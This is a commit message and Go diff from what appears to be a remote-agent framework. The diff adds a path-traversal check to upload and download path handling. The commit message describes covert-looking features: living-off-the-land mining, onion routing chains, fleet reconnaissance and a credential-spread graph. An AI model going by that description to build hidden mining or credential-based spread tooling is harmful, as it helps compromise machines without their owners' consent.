Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/desktop_path.go

@@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string {
 	return filepath.Join(clean...)
 }
 
+func remotePathHasTraversal(remote string) bool {
+	remote = strings.TrimSpace(remote)
+	if remote == "" {
+		return false
+	}
+	if strings.HasPrefix(remote, "~/") {
+		remote = remote[2:]
+	}
+	remote = strings.ReplaceAll(remote, "\\", "/")
+	for _, part := range strings.Split(remote, "/") {
+		if part == ".." {
+			return true
+		}
+	}
+	return false
+}
+
 // ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
 func ResolveRemotePath(remote string) (string, error) {
 	remote = strings.TrimSpace(remote)
 	if remote == "" {
 		return "", fmt.Errorf("remote path is empty")
 	}
+	if remotePathHasTraversal(remote) {
+		return "", fmt.Errorf("path traversal (..) is not allowed")
+	}
 	lower := strings.ToLower(remote)
 	if strings.HasPrefix(lower, "desktop:") {
 		return ResolveDesktopFile(remote[len("desktop:"):])